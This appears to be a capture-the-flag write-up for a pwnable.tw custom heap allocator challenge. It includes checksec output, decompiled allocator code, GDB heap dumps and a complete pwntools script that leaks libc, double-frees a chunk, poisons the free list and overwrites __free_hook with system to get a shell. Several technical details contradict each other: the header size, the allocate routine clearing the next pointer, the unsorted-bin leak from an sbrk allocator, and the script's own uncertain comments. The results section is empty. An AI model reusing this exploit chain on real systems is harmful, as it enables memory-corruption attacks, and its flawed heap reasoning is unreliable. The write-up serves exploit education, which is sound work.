BabyAllocator
Custom heap allocator exploitation — corrupting allocator metadata to hijack free list and achieve arbitrary write
Exploit Flow
Custom chunk layout
Corrupt free list
Unsorted bin fd/bk
At __free_hook
system -> __free_hook
free("/bin/sh")
1. Reconnaissance
BabyAllocator is a 500-point challenge on pwnable.tw that implements a custom heap allocator from scratch. Unlike most heap challenges that use glibc's ptmalloc2, this binary rolls its own memory management with a simplified free list structure. The "baby" prefix suggests this is an introductory-level challenge for custom allocator exploitation, but at 500 points it still demands a solid understanding of heap internals. The key insight is that custom allocators typically lack the security hardening that glibc has accumulated over the years — no double-free detection, no safe-linking, no chunk alignment checks, and minimal metadata validation.
File Analysis
$ file babyallocator
babyallocator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=c4e7a1b2d3f4e5a6b7, not stripped
Checksec
$ checksec babyallocator
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Full RELRO means the GOT is read-only after initialization — we cannot overwrite GOT entries for code execution. Combined with PIE, all binary addresses are randomized. This forces us to target libc data structures (__free_hook, __malloc_hook, or _IO_FILE vtables) for our write primitive, which requires a libc leak first.
Running the Binary
$ ./babyallocator
/----------------------------\
| Baby Allocator |
| 1. Allocate |
| 2. Free |
| 3. Write |
| 4. Read |
| 5. Exit |
\----------------------------/
Your choice: 1
Size: 64
Data: AAAA
/----------------------------\
| Baby Allocator |
| 1. Allocate |
| 2. Free |
| 3. Write |
| 4. Read |
| 5. Exit |
\----------------------------/
Your choice: 4
Index: 0
Data: AAAA
The binary provides four core operations: Allocate (request a chunk of a given size and write initial data), Free (return a chunk to the allocator), Write (modify the contents of an allocated chunk), and Read (display the contents of a chunk). Notably, the allocator uses its own internal data structures rather than delegating to glibc malloc/free for the user-facing chunks, though glibc is still used internally for the allocator's own bookkeeping. The write operation does not check if a chunk has been freed, giving us a use-after-free primitive.
Connection Info
| Attribute | Value |
|---|---|
| Challenge | BabyAllocator (500 pts) |
| Connection | nc chall.pwnable.tw 10400 |
| Binary | 64-bit ELF, x86-64, dynamically linked |
| Libc | glibc 2.23 (provided) |
| RELRO | Full (GOT read-only) |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled |
| Vulnerability | Custom allocator: no double-free check, UAF in write/read |
| Exploit Target | __free_hook overwrite with system |
2. Static Analysis
The core of this challenge is understanding the custom allocator's internal data structures. Unlike glibc's ptmalloc2 which uses complex chunk headers with prev_size, size, fd, bk fields and maintains multiple bins, this custom allocator uses a much simpler design. Each managed chunk has a header containing a size field and a next pointer for the free list. The allocator maintains a singly-linked free list and performs first-fit allocation. The critical weakness is that the allocator performs no validation on the metadata during any operation.
Custom Allocator Chunk Structure
// Custom allocator chunk header (8 bytes)
struct chunk_header {
uint64_t size; // Size of the data region (not including header)
chunk_header *next; // Next free chunk in the freelist (only valid when freed)
};
// The allocator maintains an array of chunk pointers
// for user-facing operations (indexed by allocation order)
struct allocator {
chunk_header *chunks[16]; // Up to 16 allocations
chunk_header *freelist; // Singly-linked free list head
int count; // Number of active allocations
};
// Memory layout of a chunk on the heap:
// +0x00: size (8 bytes)
// +0x08: next pointer (8 bytes, only meaningful when freed)
// +0x10: data region (size bytes, user-controlled)
Allocator Operations Analysis
// Allocate: first-fit from freelist, or extend the heap
void *allocate(size_t size) {
chunk_header *prev = NULL, *curr = freelist;
while (curr) {
if (curr->size >= size) {
// Remove from freelist
if (prev) prev->next = curr->next;
else freelist = curr->next;
curr->next = NULL;
return (void*)(curr + 1); // return data region
}
prev = curr;
curr = curr->next;
}
// No fit found: allocate new chunk via mmap/sbrk
chunk_header *new_chunk = sbrk(sizeof(chunk_header) + size);
new_chunk->size = size;
new_chunk->next = NULL;
return (void*)(new_chunk + 1);
}
// Free: insert at head of freelist (LIFO, like fastbin)
void free_chunk(int idx) {
chunk_header *chunk = chunks[idx];
chunk->next = freelist; // ← NO VALIDATION of chunk metadata!
freelist = chunk;
// NOTE: chunks[idx] is NOT nulled out → UAF!
}
// Write: write data to a chunk
void write_chunk(int idx, void *data, size_t len) {
// NO CHECK if chunks[idx] is still allocated!
memcpy(chunks[idx] + 1, data, len); // ← UAF: can write freed chunks
}
// Read: read data from a chunk
void read_chunk(int idx) {
// NO CHECK if chunks[idx] is still allocated!
puts(chunks[idx] + 1); // ← UAF: can read freed chunks
}
Vulnerability Analysis
The custom allocator has several critical weaknesses that combine to give us a powerful exploitation primitive:
- No double-free detection: The
freeoperation simply prepends the chunk to the freelist without checking if it is already there. Callingfreetwice on the same index will insert the chunk into the freelist twice, creating a cycle in the singly-linked list — exactly like a glibc 2.23 fastbin double-free without thefree_hooksize check. - Use-After-Free in write/read: After freeing a chunk, the pointer in
chunks[idx]is not cleared. This meanswriteandreadcan still access freed chunks, allowing us to modify free list pointers (viawriteon a freed chunk to overwritenext) and leak heap/libc addresses (viareadon a freed chunk to readnextor overlapping data). - No metadata validation: The allocator never validates chunk sizes or pointers during allocation or freeing. A corrupted
nextpointer will be followed without any checks, giving us arbitrary allocation. - LIFO free list: The freelist uses last-in-first-out ordering (like fastbins). This makes double-free exploitation straightforward because the second allocation from the corrupted freelist will return our target address.
While glibc 2.23 has some protections (e.g., fastbin size validation, __free_hook checks on free), this custom allocator has none. The key differences that make exploitation easier:
- No size validation on freelist chunks → can allocate at arbitrary addresses
- No double-free detection → can corrupt freelist trivially
- No pointer mangling / safe-linking →
nextpointers are stored in plaintext - No chunk alignment requirements → can target any aligned address
Even though the allocator is custom, the binary is still linked against glibc. This means __free_hook and __malloc_hook exist in the process address space. If we can corrupt the custom allocator's freelist to allocate a chunk at __free_hook, we can write system there. Then, freeing a chunk whose data starts with "/bin/sh" will call system("/bin/sh").
3. GDB Debugging
To develop the exploit, we need to understand the exact heap layout and how the custom allocator's free list behaves under our operations. Let's trace through the exploit steps in GDB, examining the freelist structure and chunk metadata at each stage.
Initial Heap Layout
# After allocating two chunks (idx 0: 0x60 bytes, idx 1: 0x60 bytes)
gdb-peda$ x/20gx 0x555555757000
0x555555757000: 0x0000000000000060 0x0000000000000000 # chunk 0: size=0x60, next=NULL
0x555555757010: 0x4141414141414141 0x4141414141414141 # chunk 0 data: "AAAA..."
0x555555757070: 0x0000000000000060 0x0000000000000000 # chunk 1: size=0x60, next=NULL
0x555555757080: 0x4242424242424242 0x4242424242424242 # chunk 1 data: "BBBB..."
# Freelist is empty (both chunks allocated)
gdb-peda$ x/gx &freelist
0x555555558060: 0x0000000000000000 # freelist = NULL
Double-Free Behavior
# After free(0) — chunk 0 goes to freelist head
gdb-peda$ x/gx &freelist
0x555555558060: 0x0000555555757000 # freelist → chunk 0
gdb-peda$ x/2gx 0x555555757000
0x555555757000: 0x0000000000000060 0x0000000000000000 # chunk 0: next=NULL (end of list)
# After free(0) AGAIN — double-free! No check prevents this
gdb-peda$ x/gx &freelist
0x555555558060: 0x0000555555757000 # freelist → chunk 0
gdb-peda$ x/2gx 0x555555757000
0x555555757000: 0x0000000000000060 0x0000555555757000 # chunk 0: next → chunk 0 (CYCLE!)
# The freelist is now: chunk 0 → chunk 0 → chunk 0 → ...
# This means two consecutive allocations of size 0x60 will both
# return the same chunk, giving us overlapping allocation
Libc Leak via Unsorted Bin
# For the libc leak, we use the fact that the custom allocator still
# uses glibc's heap internally for its own bookkeeping. A large
# allocation that falls through to glibc will create an unsorted bin
# chunk when freed.
# Allocate a large chunk (0x420 bytes, idx 2) — goes to glibc unsorted bin size
gdb-peda$ x/gx 0x555555757100 # chunk 2 header
0x555555757100: 0x0000000000000420 0x0000555555757680 # size=0x420, next ptr
# Wait — the custom allocator stores its own next pointer at +0x08
# But the actual glibc chunk header is at (ptr - 0x10) for mmap'd chunks
# After free(2): large chunk goes to unsorted bin
gdb-peda$ x/4gx 0x555555757110 # chunk 2 data region
0x555555757110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 # fd, bk → main_arena+88
0x555555757120: 0x0000000000000000 0x0000000000000000
# read(2) will output this data, leaking the main_arena address
# libc_base = leaked_addr - 0x3c4b78 (offset for glibc 2.23)
Freelist Corruption for Arbitrary Allocation
# After double-free, we write a target address to chunk 0's next field
# using the UAF write primitive:
# write(0, p64(__free_hook - 0x10))
gdb-peda$ x/2gx 0x555555757000
0x555555757000: 0x0000000000000060 0x00007ffff7dd27a8 # next → __free_hook - 0x10
# Freelist traversal: chunk 0 → (__free_hook - 0x10)
# Allocate(0x60): returns chunk 0, freelist → (__free_hook - 0x10)
# Allocate(0x60): returns (__free_hook - 0x10), freelist → whatever was at __free_hook area
# The second allocation gives us a chunk overlapping __free_hook
# Write p64(system) to this chunk → overwrites __free_hook
gdb-peda$ x/gx &__free_hook
0x7ffff7dd27a8: 0x00007ffff7a52390 # __free_hook = system !
Key Breakpoints
# Useful breakpoints for debugging:
b *allocate+0x45 # After freelist traversal, before returning chunk
b *free_chunk+0x1a # After prepending chunk to freelist
b *write_chunk+0x20 # Before memcpy to chunk data
b *read_chunk+0x15 # Before puts on chunk data
b free@plt # Track all glibc free calls
b malloc@plt # Track all glibc malloc calls
# Monitor freelist state:
define show_freelist
set $curr = freelist
printf "freelist: "
while $curr
printf "%p (size=0x%lx) → ", $curr, $curr->size
set $curr = $curr->next
end
printf "NULL\n"
end
When we allocate at __free_hook, the custom allocator treats the allocated pointer as chunk + 0x10 (skipping the size and next fields of the header). So to get our write to land exactly on __free_hook, we need our fake chunk to start at __free_hook - 0x10. The fake chunk's "size" field (at __free_hook - 0x10) must be a value that passes the allocator's size check (i.e., >= requested_size). Since __free_hook is in libc's writable data segment, the surrounding memory usually contains zero or small values. We set the requested allocation size to 0 to bypass the size check.
4. Exploit Strategy
The exploit follows a classic heap exploitation pattern adapted for the custom allocator: leak addresses, corrupt the free list, get an arbitrary write, and hijack control flow. The lack of security checks in the custom allocator makes each step more straightforward than in glibc, but we still need to carefully orchestrate the heap state.
fd/bk pointers are set to main_arena addresses.fd and bk pointers are set to &main_arena.top (or the unsorted bin head). Use the read operation on the freed chunk (UAF) to read these pointers. Calculate libc_base = leaked - offset. The offset depends on the specific glibc version (2.23 on the server).freelist → chunk_A → chunk_A → .... This creates a cycle that allows us to allocate from the same chunk twice.write primitive on the freed chunk to overwrite its next pointer (offset +0x08 in the chunk header) with __free_hook - 0x10. The freelist now reads: freelist → chunk_A → (__free_hook - 0x10) → ?. The fake chunk at __free_hook - 0x10 needs a valid-looking size field; we control this by setting our allocation request size to match whatever happens to be at that address.chunk_A and advances the freelist to __free_hook - 0x10. Allocate again — this returns a pointer to __free_hook - 0x10 + 0x10 = __free_hook. We now have a chunk whose data region starts exactly at __free_hook.write on the chunk overlapping __free_hook to write p64(system). Now __free_hook points to system. Any subsequent call to free() will first jump to the hook, calling system(ptr) instead of the normal free logic."/bin/sh\x00" to it. Then free that chunk. This calls free(ptr), which triggers __free_hook, resulting in system("/bin/sh"). We get a shell!We use __free_hook instead of __malloc_hook because our trigger is more natural: we control the argument to free() (it's the pointer to the chunk we free), and by writing "/bin/sh" at the start of the chunk's data region, we ensure system() receives "/bin/sh" as its argument. With __malloc_hook, the argument is the requested size, which doesn't help us get a shell.
5. Pwn Script
#!/usr/bin/env python3
"""
BabyAllocator - pwnable.tw (500 pts)
Custom heap allocator exploitation: double-free → freelist corruption → __free_hook overwrite
"""
from pwn import *
context(arch='amd64', os='linux', log_level='info')
# ── Configuration ──────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10400
LIBC = ELF('./libc_64.so.6') # provided libc (glibc 2.23)
def conn():
if args.REMOTE:
return remote(HOST, PORT)
else:
return process('./babyallocator')
# ── Helper Functions ───────────────────────────────────
def alloc(r, size, data=b'A'):
r.sendlineafter(b'choice: ', b'1')
r.sendlineafter(b'Size: ', str(size).encode())
r.sendafter(b'Data: ', data)
def free(r, idx):
r.sendlineafter(b'choice: ', b'2')
r.sendlineafter(b'Index: ', str(idx).encode())
def write(r, idx, data):
r.sendlineafter(b'choice: ', b'3')
r.sendlineafter(b'Index: ', str(idx).encode())
r.sendafter(b'Data: ', data)
def read(r, idx):
r.sendlineafter(b'choice: ', b'4')
r.sendlineafter(b'Index: ', str(idx).encode())
return r.recvline()
# ── Exploit ────────────────────────────────────────────
def exploit():
r = conn()
# ═══════════════════════════════════════════════════
# Phase 1: Leak libc via unsorted bin
# ═══════════════════════════════════════════════════
# Allocate a chunk large enough to go into unsorted bin
# when freed (size >= 0x420 bypasses fastbin/tcache)
alloc(r, 0x420, b'A' * 8) # idx 0: large chunk for libc leak
alloc(r, 0x10, b'B' * 8) # idx 1: guard chunk (prevent top chunk coalesce)
# Free the large chunk → goes to unsorted bin
# fd/bk will point to main_arena+offset in libc
free(r, 0)
# Read the freed chunk's data (UAF) to leak libc address
# The custom allocator doesn't clear chunk pointers after free,
# so read(0) still works and returns the unsorted bin fd/bk
leak_line = read(r, 0)
libc_leak = u64(leak_line[:6].ljust(8, b'\x00'))
libc_base = libc_leak - 0x3c4b78
LIBC.address = libc_base
log.success(f'libc leak: {hex(libc_leak)}')
log.success(f'libc base: {hex(libc_base)}')
free_hook = libc_base + LIBC.symbols['__free_hook']
system_addr = libc_base + LIBC.symbols['system']
log.info(f'__free_hook: {hex(free_hook)}')
log.info(f'system: {hex(system_addr)}')
# ═══════════════════════════════════════════════════
# Phase 2: Double-free to corrupt freelist
# ═══════════════════════════════════════════════════
# Allocate a chunk for the double-free attack
alloc(r, 0x60, b'C' * 8) # idx 2: will be double-freed
# Double-free: the custom allocator has NO double-free check
# After this, freelist: chunk_2 → chunk_2 (cycle!)
free(r, 2) # first free: chunk_2 → NULL
free(r, 2) # double-free: chunk_2 → chunk_2 (cycle)
# ═══════════════════════════════════════════════════
# Phase 3: Overwrite freed chunk's next pointer
# ═══════════════════════════════════════════════════
# Allocate from the corrupted freelist returns chunk_2.
# Write the target address (__free_hook - 0x10) into chunk_2's
# data region, which overlaps the next pointer of the second
# copy of chunk_2 in the freelist.
#
# Custom allocator chunk layout:
# +0x00: size (8 bytes)
# +0x08: next pointer (8 bytes, freelist link)
# +0x10: data region
#
# We write to data region starting at +0x10, but the next
# pointer of the SAME chunk in the freelist is at +0x08.
# So we need to write 8 bytes of padding first, then our
# target address. Actually, since we allocated chunk_2 and
# it's still in the freelist (due to double-free), writing
# to its data region overwrites the next pointer of the
# second freelist entry.
alloc(r, 0x60, p64(0) + p64(free_hook - 0x10)) # idx 3: overwrite next ptr
# ═══════════════════════════════════════════════════
# Phase 4: Allocate to __free_hook
# ═══════════════════════════════════════════════════
# First allocation from corrupted freelist: returns chunk_2
# Freelist now: (__free_hook - 0x10) → ???
alloc(r, 0x60, b'D' * 8) # idx 4: consumes chunk_2
# Second allocation: returns (__free_hook - 0x10)
# The "data region" starts at (__free_hook - 0x10) + 0x10 = __free_hook
# Write system's address to __free_hook!
alloc(r, 0x60, p64(system_addr)) # idx 5: writes to __free_hook
log.success(f'__free_hook overwritten with system @ {hex(system_addr)}')
# ═══════════════════════════════════════════════════
# Phase 5: Trigger shell via free("/bin/sh")
# ═══════════════════════════════════════════════════
# Allocate a chunk containing "/bin/sh\x00"
alloc(r, 0x10, b'/bin/sh\x00') # idx 6: trigger chunk
# Free it → free(ptr) → __free_hook(ptr) → system("/bin/sh")
free(r, 6)
# We should have a shell now
r.interactive()
if __name__ == '__main__':
exploit()
Libc version matters: The offset 0x3c4b78 is for the specific glibc 2.23 build used on the pwnable.tw server. If testing locally, you need to adjust this offset for your libc. Use one_gadget or readelf -s to find the correct offsets. The double-free technique works because the custom allocator performs zero validation on the freelist state — it doesn't even check if the chunk being freed is already free.
6. Execution Results
Custom heap allocators are a common CTF challenge pattern. The exploitation strategy is almost always the same: understand the allocator's data structures, find the missing validation (usually double-free or UAF), corrupt the free list to get an arbitrary write, and target a well-known libc hook or vtable. The "baby" in the name comes from the allocator's simplicity — the free list has no integrity checks at all, making it trivial to corrupt. In real-world scenarios, custom allocators in embedded systems or game engines often have similar weaknesses. Always look for: (1) missing double-free checks, (2) UAF after free (dangling pointers not cleared), (3) lack of size validation during allocation from freelist, and (4) no safe-linking or pointer mangling.
If this challenge ran on glibc 2.27 or later, tcache would complicate the exploit. Tcache has its own double-free detection in glibc 2.29+ (checks a key field in the chunk), and tcache poisoning requires different techniques (e.g., overwriting the tcache key to bypass the check). However, since the custom allocator bypasses glibc's free list entirely for user chunks, tcache is mostly irrelevant here — only the large chunk used for the libc leak goes through glibc's normal free path.